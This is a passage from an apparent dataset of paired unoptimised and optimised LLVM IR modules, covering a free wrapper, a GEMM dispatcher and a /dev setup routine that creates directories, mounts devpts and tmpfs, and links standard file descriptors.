!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpha8pi15v.c'
source_filename = "/tmp/tmpha8pi15v.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @sim_free(ptr noundef %0) #0 {
%2 = alloca ptr, align 8
store ptr %0, ptr %2, align 8
%3 = load ptr, ptr %2, align 8
%4 = call i32 @free(ptr noundef %3)
ret void
}
declare i32 @free(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpha8pi15v.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @sim_free(ptr noundef %0) #0 {
%2 = alloca ptr, align 8
store ptr %0, ptr %2, align 8
%3 = load ptr, ptr %2, align 8
%4 = call i32 @free(ptr noundef %3)
ret void
}
declare i32 @free(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpwsa_qpls.c'
source_filename = "/tmp/tmpwsa_qpls.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @cpu_gemm(i32 noundef %0, i32 noundef %1, i32 noundef %2, i32 noundef %3, i32 noundef %4, float noundef %5, ptr noundef %6, i32 noundef %7, ptr noundef %8, i32 noundef %9, float noundef %10, ptr noundef %11, i32 noundef %12) #0 {
%14 = alloca i32, align 4
%15 = alloca i32, align 4
%16 = alloca i32, align 4
%17 = alloca i32, align 4
%18 = alloca i32, align 4
%19 = alloca float, align 4
%20 = alloca ptr, align 8
%21 = alloca i32, align 4
%22 = alloca ptr, align 8
%23 = alloca i32, align 4
%24 = alloca float, align 4
%25 = alloca ptr, align 8
%26 = alloca i32, align 4
%27 = alloca i32, align 4
%28 = alloca i32, align 4
store i32 %0, ptr %14, align 4
store i32 %1, ptr %15, align 4
store i32 %2, ptr %16, align 4
store i32 %3, ptr %17, align 4
store i32 %4, ptr %18, align 4
store float %5, ptr %19, align 4
store ptr %6, ptr %20, align 8
store i32 %7, ptr %21, align 4
store ptr %8, ptr %22, align 8
store i32 %9, ptr %23, align 4
store float %10, ptr %24, align 4
store ptr %11, ptr %25, align 8
store i32 %12, ptr %26, align 4
store i32 0, ptr %27, align 4
br label %29
29: ; preds = %54, %13
%30 = load i32, ptr %27, align 4
%31 = load i32, ptr %16, align 4
%32 = icmp slt i32 %30, %31
br i1 %32, label %33, label %57
33: ; preds = %29
store i32 0, ptr %28, align 4
br label %34
34: ; preds = %50, %33
%35 = load i32, ptr %28, align 4
%36 = load i32, ptr %17, align 4
%37 = icmp slt i32 %35, %36
br i1 %37, label %38, label %53
38: ; preds = %34
%39 = load float, ptr %24, align 4
%40 = load ptr, ptr %25, align 8
%41 = load i32, ptr %27, align 4
%42 = load i32, ptr %26, align 4
%43 = mul nsw i32 %41, %42
%44 = load i32, ptr %28, align 4
%45 = add nsw i32 %43, %44
%46 = sext i32 %45 to i64
%47 = getelementptr inbounds float, ptr %40, i64 %46
%48 = load float, ptr %47, align 4
%49 = fmul float %48, %39
store float %49, ptr %47, align 4
br label %50
50: ; preds = %38
%51 = load i32, ptr %28, align 4
%52 = add nsw i32 %51, 1
store i32 %52, ptr %28, align 4
br label %34, !llvm.loop !6
53: ; preds = %34
br label %54
54: ; preds = %53
%55 = load i32, ptr %27, align 4
%56 = add nsw i32 %55, 1
store i32 %56, ptr %27, align 4
br label %29, !llvm.loop !8
57: ; preds = %29
%58 = load i32, ptr %14, align 4
%59 = icmp ne i32 %58, 0
br i1 %59, label %78, label %60
60: ; preds = %57
%61 = load i32, ptr %15, align 4
%62 = icmp ne i32 %61, 0
br i1 %62, label %78, label %63
63: ; preds = %60
%64 = load i32, ptr %14, align 4
%65 = load i32, ptr %15, align 4
%66 = load i32, ptr %16, align 4
%67 = load i32, ptr %17, align 4
%68 = load i32, ptr %18, align 4
%69 = load float, ptr %19, align 4
%70 = load ptr, ptr %20, align 8
%71 = load i32, ptr %21, align 4
%72 = load ptr, ptr %22, align 8
%73 = load i32, ptr %23, align 4
%74 = load float, ptr %24, align 4
%75 = load ptr, ptr %25, align 8
%76 = load i32, ptr %26, align 4
%77 = call i32 @cpu_gemm_nn(i32 noundef %64, i32 noundef %65, i32 noundef %66, i32 noundef %67, i32 noundef %68, float noundef %69, ptr noundef %70, i32 noundef %71, ptr noundef %72, i32 noundef %73, float noundef %74, ptr noundef %75, i32 noundef %76)
br label %137
78: ; preds = %60, %57
%79 = load i32, ptr %14, align 4
%80 = icmp ne i32 %79, 0
br i1 %80, label %81, label %99
81: ; preds = %78
%82 = load i32, ptr %15, align 4
%83 = icmp ne i32 %82, 0
br i1 %83, label %99, label %84
84: ; preds = %81
%85 = load i32, ptr %14, align 4
%86 = load i32, ptr %15, align 4
%87 = load i32, ptr %16, align 4
%88 = load i32, ptr %17, align 4
%89 = load i32, ptr %18, align 4
%90 = load float, ptr %19, align 4
%91 = load ptr, ptr %20, align 8
%92 = load i32, ptr %21, align 4
%93 = load ptr, ptr %22, align 8
%94 = load i32, ptr %23, align 4
%95 = load float, ptr %24, align 4
%96 = load ptr, ptr %25, align 8
%97 = load i32, ptr %26, align 4
%98 = call i32 @cpu_gemm_tn(i32 noundef %85, i32 noundef %86, i32 noundef %87, i32 noundef %88, i32 noundef %89, float noundef %90, ptr noundef %91, i32 noundef %92, ptr noundef %93, i32 noundef %94, float noundef %95, ptr noundef %96, i32 noundef %97)
br label %136
99: ; preds = %81, %78
%100 = load i32, ptr %14, align 4
%101 = icmp ne i32 %100, 0
br i1 %101, label %120, label %102
102: ; preds = %99
%103 = load i32, ptr %15, align 4
%104 = icmp ne i32 %103, 0
br i1 %104, label %105, label %120
105: ; preds = %102
%106 = load i32, ptr %14, align 4
%107 = load i32, ptr %15, align 4
%108 = load i32, ptr %16, align 4
%109 = load i32, ptr %17, align 4
%110 = load i32, ptr %18, align 4
%111 = load float, ptr %19, align 4
%112 = load ptr, ptr %20, align 8
%113 = load i32, ptr %21, align 4
%114 = load ptr, ptr %22, align 8
%115 = load i32, ptr %23, align 4
%116 = load float, ptr %24, align 4
%117 = load ptr, ptr %25, align 8
%118 = load i32, ptr %26, align 4
%119 = call i32 @cpu_gemm_nt(i32 noundef %106, i32 noundef %107, i32 noundef %108, i32 noundef %109, i32 noundef %110, float noundef %111, ptr noundef %112, i32 noundef %113, ptr noundef %114, i32 noundef %115, float noundef %116, ptr noundef %117, i32 noundef %118)
br label %135
120: ; preds = %102, %99
%121 = load i32, ptr %14, align 4
%122 = load i32, ptr %15, align 4
%123 = load i32, ptr %16, align 4
%124 = load i32, ptr %17, align 4
%125 = load i32, ptr %18, align 4
%126 = load float, ptr %19, align 4
%127 = load ptr, ptr %20, align 8
%128 = load i32, ptr %21, align 4
%129 = load ptr, ptr %22, align 8
%130 = load i32, ptr %23, align 4
%131 = load float, ptr %24, align 4
%132 = load ptr, ptr %25, align 8
%133 = load i32, ptr %26, align 4
%134 = call i32 @cpu_gemm_tt(i32 noundef %121, i32 noundef %122, i32 noundef %123, i32 noundef %124, i32 noundef %125, float noundef %126, ptr noundef %127, i32 noundef %128, ptr noundef %129, i32 noundef %130, float noundef %131, ptr noundef %132, i32 noundef %133)
br label %135
135: ; preds = %120, %105
br label %136
136: ; preds = %135, %84
br label %137
137: ; preds = %136, %63
ret void
}
declare i32 @cpu_gemm_nn(i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, float noundef, ptr noundef, i32 noundef, ptr noundef, i32 noundef, float noundef, ptr noundef, i32 noundef) #1
declare i32 @cpu_gemm_tn(i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, float noundef, ptr noundef, i32 noundef, ptr noundef, i32 noundef, float noundef, ptr noundef, i32 noundef) #1
declare i32 @cpu_gemm_nt(i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, float noundef, ptr noundef, i32 noundef, ptr noundef, i32 noundef, float noundef, ptr noundef, i32 noundef) #1
declare i32 @cpu_gemm_tt(i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, float noundef, ptr noundef, i32 noundef, ptr noundef, i32 noundef, float noundef, ptr noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpwsa_qpls.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @cpu_gemm(i32 noundef %0, i32 noundef %1, i32 noundef %2, i32 noundef %3, i32 noundef %4, float noundef %5, ptr noundef %6, i32 noundef %7, ptr noundef %8, i32 noundef %9, float noundef %10, ptr noundef %11, i32 noundef %12) #0 {
%14 = alloca i32, align 4
%15 = alloca i32, align 4
%16 = alloca i32, align 4
%17 = alloca i32, align 4
%18 = alloca i32, align 4
%19 = alloca float, align 4
%20 = alloca ptr, align 8
%21 = alloca i32, align 4
%22 = alloca ptr, align 8
%23 = alloca i32, align 4
%24 = alloca float, align 4
%25 = alloca ptr, align 8
%26 = alloca i32, align 4
%27 = alloca i32, align 4
%28 = alloca i32, align 4
store i32 %0, ptr %14, align 4
store i32 %1, ptr %15, align 4
store i32 %2, ptr %16, align 4
store i32 %3, ptr %17, align 4
store i32 %4, ptr %18, align 4
store float %5, ptr %19, align 4
store ptr %6, ptr %20, align 8
store i32 %7, ptr %21, align 4
store ptr %8, ptr %22, align 8
store i32 %9, ptr %23, align 4
store float %10, ptr %24, align 4
store ptr %11, ptr %25, align 8
store i32 %12, ptr %26, align 4
store i32 0, ptr %27, align 4
%29 = load i32, ptr %27, align 4
%30 = load i32, ptr %16, align 4
%31 = icmp slt i32 %29, %30
br i1 %31, label %.lr.ph2, label %61
.lr.ph2: ; preds = %13
br label %32
32: ; preds = %.lr.ph2, %55
store i32 0, ptr %28, align 4
%33 = load i32, ptr %28, align 4
%34 = load i32, ptr %17, align 4
%35 = icmp slt i32 %33, %34
br i1 %35, label %.lr.ph, label %54
.lr.ph: ; preds = %32
br label %36
36: ; preds = %.lr.ph, %48
%37 = load float, ptr %24, align 4
%38 = load ptr, ptr %25, align 8
%39 = load i32, ptr %27, align 4
%40 = load i32, ptr %26, align 4
%41 = mul nsw i32 %39, %40
%42 = load i32, ptr %28, align 4
%43 = add nsw i32 %41, %42
%44 = sext i32 %43 to i64
%45 = getelementptr inbounds float, ptr %38, i64 %44
%46 = load float, ptr %45, align 4
%47 = fmul float %46, %37
store float %47, ptr %45, align 4
br label %48
48: ; preds = %36
%49 = load i32, ptr %28, align 4
%50 = add nsw i32 %49, 1
store i32 %50, ptr %28, align 4
%51 = load i32, ptr %28, align 4
%52 = load i32, ptr %17, align 4
%53 = icmp slt i32 %51, %52
br i1 %53, label %36, label %._crit_edge, !llvm.loop !6
._crit_edge: ; preds = %48
br label %54
54: ; preds = %._crit_edge, %32
br label %55
55: ; preds = %54
%56 = load i32, ptr %27, align 4
%57 = add nsw i32 %56, 1
store i32 %57, ptr %27, align 4
%58 = load i32, ptr %27, align 4
%59 = load i32, ptr %16, align 4
%60 = icmp slt i32 %58, %59
br i1 %60, label %32, label %._crit_edge3, !llvm.loop !8
._crit_edge3: ; preds = %55
br label %61
61: ; preds = %._crit_edge3, %13
%62 = load i32, ptr %14, align 4
%63 = icmp ne i32 %62, 0
br i1 %63, label %82, label %64
64: ; preds = %61
%65 = load i32, ptr %15, align 4
%66 = icmp ne i32 %65, 0
br i1 %66, label %82, label %67
67: ; preds = %64
%68 = load i32, ptr %14, align 4
%69 = load i32, ptr %15, align 4
%70 = load i32, ptr %16, align 4
%71 = load i32, ptr %17, align 4
%72 = load i32, ptr %18, align 4
%73 = load float, ptr %19, align 4
%74 = load ptr, ptr %20, align 8
%75 = load i32, ptr %21, align 4
%76 = load ptr, ptr %22, align 8
%77 = load i32, ptr %23, align 4
%78 = load float, ptr %24, align 4
%79 = load ptr, ptr %25, align 8
%80 = load i32, ptr %26, align 4
%81 = call i32 @cpu_gemm_nn(i32 noundef %68, i32 noundef %69, i32 noundef %70, i32 noundef %71, i32 noundef %72, float noundef %73, ptr noundef %74, i32 noundef %75, ptr noundef %76, i32 noundef %77, float noundef %78, ptr noundef %79, i32 noundef %80)
br label %141
82: ; preds = %64, %61
%83 = load i32, ptr %14, align 4
%84 = icmp ne i32 %83, 0
br i1 %84, label %85, label %103
85: ; preds = %82
%86 = load i32, ptr %15, align 4
%87 = icmp ne i32 %86, 0
br i1 %87, label %103, label %88
88: ; preds = %85
%89 = load i32, ptr %14, align 4
%90 = load i32, ptr %15, align 4
%91 = load i32, ptr %16, align 4
%92 = load i32, ptr %17, align 4
%93 = load i32, ptr %18, align 4
%94 = load float, ptr %19, align 4
%95 = load ptr, ptr %20, align 8
%96 = load i32, ptr %21, align 4
%97 = load ptr, ptr %22, align 8
%98 = load i32, ptr %23, align 4
%99 = load float, ptr %24, align 4
%100 = load ptr, ptr %25, align 8
%101 = load i32, ptr %26, align 4
%102 = call i32 @cpu_gemm_tn(i32 noundef %89, i32 noundef %90, i32 noundef %91, i32 noundef %92, i32 noundef %93, float noundef %94, ptr noundef %95, i32 noundef %96, ptr noundef %97, i32 noundef %98, float noundef %99, ptr noundef %100, i32 noundef %101)
br label %140
103: ; preds = %85, %82
%104 = load i32, ptr %14, align 4
%105 = icmp ne i32 %104, 0
br i1 %105, label %124, label %106
106: ; preds = %103
%107 = load i32, ptr %15, align 4
%108 = icmp ne i32 %107, 0
br i1 %108, label %109, label %124
109: ; preds = %106
%110 = load i32, ptr %14, align 4
%111 = load i32, ptr %15, align 4
%112 = load i32, ptr %16, align 4
%113 = load i32, ptr %17, align 4
%114 = load i32, ptr %18, align 4
%115 = load float, ptr %19, align 4
%116 = load ptr, ptr %20, align 8
%117 = load i32, ptr %21, align 4
%118 = load ptr, ptr %22, align 8
%119 = load i32, ptr %23, align 4
%120 = load float, ptr %24, align 4
%121 = load ptr, ptr %25, align 8
%122 = load i32, ptr %26, align 4
%123 = call i32 @cpu_gemm_nt(i32 noundef %110, i32 noundef %111, i32 noundef %112, i32 noundef %113, i32 noundef %114, float noundef %115, ptr noundef %116, i32 noundef %117, ptr noundef %118, i32 noundef %119, float noundef %120, ptr noundef %121, i32 noundef %122)
br label %139
124: ; preds = %106, %103
%125 = load i32, ptr %14, align 4
%126 = load i32, ptr %15, align 4
%127 = load i32, ptr %16, align 4
%128 = load i32, ptr %17, align 4
%129 = load i32, ptr %18, align 4
%130 = load float, ptr %19, align 4
%131 = load ptr, ptr %20, align 8
%132 = load i32, ptr %21, align 4
%133 = load ptr, ptr %22, align 8
%134 = load i32, ptr %23, align 4
%135 = load float, ptr %24, align 4
%136 = load ptr, ptr %25, align 8
%137 = load i32, ptr %26, align 4
%138 = call i32 @cpu_gemm_tt(i32 noundef %125, i32 noundef %126, i32 noundef %127, i32 noundef %128, i32 noundef %129, float noundef %130, ptr noundef %131, i32 noundef %132, ptr noundef %133, i32 noundef %134, float noundef %135, ptr noundef %136, i32 noundef %137)
br label %139
139: ; preds = %124, %109
br label %140
140: ; preds = %139, %88
br label %141
141: ; preds = %140, %67
ret void
}
declare i32 @cpu_gemm_nn(i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, float noundef, ptr noundef, i32 noundef, ptr noundef, i32 noundef, float noundef, ptr noundef, i32 noundef) #1
declare i32 @cpu_gemm_tn(i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, float noundef, ptr noundef, i32 noundef, ptr noundef, i32 noundef, float noundef, ptr noundef, i32 noundef) #1
declare i32 @cpu_gemm_nt(i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, float noundef, ptr noundef, i32 noundef, ptr noundef, i32 noundef, float noundef, ptr noundef, i32 noundef) #1
declare i32 @cpu_gemm_tt(i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, float noundef, ptr noundef, i32 noundef, ptr noundef, i32 noundef, float noundef, ptr noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
|
; ModuleID = '/tmp/tmpi6fie_4v.c'
source_filename = "/tmp/tmpi6fie_4v.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [5 x i8] c"/dev\00", align 1
@S_IRWXU = dso_local global i32 0, align 4
@S_IRGRP = dso_local global i32 0, align 4
@S_IXGRP = dso_local global i32 0, align 4
@S_IROTH = dso_local global i32 0, align 4
@S_IXOTH = dso_local global i32 0, align 4
@.str.1 = private unnamed_addr constant [9 x i8] c"/dev/shm\00", align 1
@.str.2 = private unnamed_addr constant [9 x i8] c"/dev/pts\00", align 1
@.str.3 = private unnamed_addr constant [9 x i8] c"/dev/net\00", align 1
@.str.4 = private unnamed_addr constant [10 x i8] c"/dev/misc\00", align 1
@.str.5 = private unnamed_addr constant [7 x i8] c"devpts\00", align 1
@MS_RELATIME = dso_local global i32 0, align 4
@.str.6 = private unnamed_addr constant [9 x i8] c"mode=600\00", align 1
@.str.7 = private unnamed_addr constant [6 x i8] c"tmpfs\00", align 1
@.str.8 = private unnamed_addr constant [1 x i8] zeroinitializer, align 1
@.str.9 = private unnamed_addr constant [14 x i8] c"/proc/self/fd\00", align 1
@.str.10 = private unnamed_addr constant [8 x i8] c"/dev/fd\00", align 1
@.str.11 = private unnamed_addr constant [16 x i8] c"/proc/self/fd/0\00", align 1
@.str.12 = private unnamed_addr constant [11 x i8] c"/dev/stdin\00", align 1
@.str.13 = private unnamed_addr constant [16 x i8] c"/proc/self/fd/1\00", align 1
@.str.14 = private unnamed_addr constant [12 x i8] c"/dev/stdout\00", align 1
@.str.15 = private unnamed_addr constant [16 x i8] c"/proc/self/fd/2\00", align 1
@.str.16 = private unnamed_addr constant [12 x i8] c"/dev/stderr\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @kattach_thedawn_generate_dev() #0 {
%1 = alloca i32, align 4
store i32 0, ptr %1, align 4
%2 = load i32, ptr @S_IRWXU, align 4
%3 = load i32, ptr @S_IRGRP, align 4
%4 = or i32 %2, %3
%5 = load i32, ptr @S_IXGRP, align 4
%6 = or i32 %4, %5
%7 = load i32, ptr @S_IROTH, align 4
%8 = or i32 %6, %7
%9 = load i32, ptr @S_IXOTH, align 4
%10 = or i32 %8, %9
%11 = call i32 @mkdir(ptr noundef @.str, i32 noundef %10)
store i32 %11, ptr %1, align 4
%12 = load i32, ptr @S_IRWXU, align 4
%13 = load i32, ptr @S_IRGRP, align 4
%14 = or i32 %12, %13
%15 = load i32, ptr @S_IXGRP, align 4
%16 = or i32 %14, %15
%17 = load i32, ptr @S_IROTH, align 4
%18 = or i32 %16, %17
%19 = load i32, ptr @S_IXOTH, align 4
%20 = or i32 %18, %19
%21 = call i32 @mkdir(ptr noundef @.str.1, i32 noundef %20)
store i32 %21, ptr %1, align 4
%22 = load i32, ptr @S_IRWXU, align 4
%23 = load i32, ptr @S_IRGRP, align 4
%24 = or i32 %22, %23
%25 = load i32, ptr @S_IXGRP, align 4
%26 = or i32 %24, %25
%27 = load i32, ptr @S_IROTH, align 4
%28 = or i32 %26, %27
%29 = load i32, ptr @S_IXOTH, align 4
%30 = or i32 %28, %29
%31 = call i32 @mkdir(ptr noundef @.str.2, i32 noundef %30)
store i32 %31, ptr %1, align 4
%32 = load i32, ptr @S_IRWXU, align 4
%33 = load i32, ptr @S_IRGRP, align 4
%34 = or i32 %32, %33
%35 = load i32, ptr @S_IXGRP, align 4
%36 = or i32 %34, %35
%37 = load i32, ptr @S_IROTH, align 4
%38 = or i32 %36, %37
%39 = load i32, ptr @S_IXOTH, align 4
%40 = or i32 %38, %39
%41 = call i32 @mkdir(ptr noundef @.str.3, i32 noundef %40)
store i32 %41, ptr %1, align 4
%42 = load i32, ptr @S_IRWXU, align 4
%43 = load i32, ptr @S_IRGRP, align 4
%44 = or i32 %42, %43
%45 = load i32, ptr @S_IXGRP, align 4
%46 = or i32 %44, %45
%47 = load i32, ptr @S_IROTH, align 4
%48 = or i32 %46, %47
%49 = load i32, ptr @S_IXOTH, align 4
%50 = or i32 %48, %49
%51 = call i32 @mkdir(ptr noundef @.str.4, i32 noundef %50)
store i32 %51, ptr %1, align 4
%52 = call i32 (...) @kattach_thedawn_init_devlist()
%53 = call i32 (...) @kattach_thedawn_devlist_add()
%54 = load i32, ptr @MS_RELATIME, align 4
%55 = call i32 @mount(ptr noundef @.str.5, ptr noundef @.str.2, ptr noundef @.str.5, i32 noundef %54, ptr noundef @.str.6)
store i32 %55, ptr %1, align 4
%56 = load i32, ptr @MS_RELATIME, align 4
%57 = call i32 @mount(ptr noundef @.str.7, ptr noundef @.str.1, ptr noundef @.str.7, i32 noundef %56, ptr noundef @.str.8)
store i32 %57, ptr %1, align 4
%58 = call i32 @symlink(ptr noundef @.str.9, ptr noundef @.str.10)
store i32 %58, ptr %1, align 4
%59 = call i32 @symlink(ptr noundef @.str.11, ptr noundef @.str.12)
store i32 %59, ptr %1, align 4
%60 = call i32 @symlink(ptr noundef @.str.13, ptr noundef @.str.14)
store i32 %60, ptr %1, align 4
%61 = call i32 @symlink(ptr noundef @.str.15, ptr noundef @.str.16)
store i32 %61, ptr %1, align 4
ret void
}
declare i32 @mkdir(ptr noundef, i32 noundef) #1
declare i32 @kattach_thedawn_init_devlist(...) #1
declare i32 @kattach_thedawn_devlist_add(...) #1
declare i32 @mount(ptr noundef, ptr noundef, ptr noundef, i32 noundef, ptr noundef) #1
declare i32 @symlink(ptr noundef, ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpi6fie_4v.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [5 x i8] c"/dev\00", align 1
@S_IRWXU = dso_local global i32 0, align 4
@S_IRGRP = dso_local global i32 0, align 4
@S_IXGRP = dso_local global i32 0, align 4
@S_IROTH = dso_local global i32 0, align 4
@S_IXOTH = dso_local global i32 0, align 4
@.str.1 = private unnamed_addr constant [9 x i8] c"/dev/shm\00", align 1
@.str.2 = private unnamed_addr constant [9 x i8] c"/dev/pts\00", align 1
@.str.3 = private unnamed_addr constant [9 x i8] c"/dev/net\00", align 1
@.str.4 = private unnamed_addr constant [10 x i8] c"/dev/misc\00", align 1
@.str.5 = private unnamed_addr constant [7 x i8] c"devpts\00", align 1
@MS_RELATIME = dso_local global i32 0, align 4
@.str.6 = private unnamed_addr constant [9 x i8] c"mode=600\00", align 1
@.str.7 = private unnamed_addr constant [6 x i8] c"tmpfs\00", align 1
@.str.8 = private unnamed_addr constant [1 x i8] zeroinitializer, align 1
@.str.9 = private unnamed_addr constant [14 x i8] c"/proc/self/fd\00", align 1
@.str.10 = private unnamed_addr constant [8 x i8] c"/dev/fd\00", align 1
@.str.11 = private unnamed_addr constant [16 x i8] c"/proc/self/fd/0\00", align 1
@.str.12 = private unnamed_addr constant [11 x i8] c"/dev/stdin\00", align 1
@.str.13 = private unnamed_addr constant [16 x i8] c"/proc/self/fd/1\00", align 1
@.str.14 = private unnamed_addr constant [12 x i8] c"/dev/stdout\00", align 1
@.str.15 = private unnamed_addr constant [16 x i8] c"/proc/self/fd/2\00", align 1
@.str.16 = private unnamed_addr constant [12 x i8] c"/dev/stderr\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @kattach_thedawn_generate_dev() #0 {
%1 = alloca i32, align 4
store i32 0, ptr %1, align 4
%2 = load i32, ptr @S_IRWXU, align 4
%3 = load i32, ptr @S_IRGRP, align 4
%4 = or i32 %2, %3
%5 = load i32, ptr @S_IXGRP, align 4
%6 = or i32 %4, %5
%7 = load i32, ptr @S_IROTH, align 4
%8 = or i32 %6, %7
%9 = load i32, ptr @S_IXOTH, align 4
%10 = or i32 %8, %9
%11 = call i32 @mkdir(ptr noundef @.str, i32 noundef %10)
store i32 %11, ptr %1, align 4
%12 = load i32, ptr @S_IRWXU, align 4
%13 = load i32, ptr @S_IRGRP, align 4
%14 = or i32 %12, %13
%15 = load i32, ptr @S_IXGRP, align 4
%16 = or i32 %14, %15
%17 = load i32, ptr @S_IROTH, align 4
%18 = or i32 %16, %17
%19 = load i32, ptr @S_IXOTH, align 4
%20 = or i32 %18, %19
%21 = call i32 @mkdir(ptr noundef @.str.1, i32 noundef %20)
store i32 %21, ptr %1, align 4
%22 = load i32, ptr @S_IRWXU, align 4
%23 = load i32, ptr @S_IRGRP, align 4
%24 = or i32 %22, %23
%25 = load i32, ptr @S_IXGRP, align 4
%26 = or i32 %24, %25
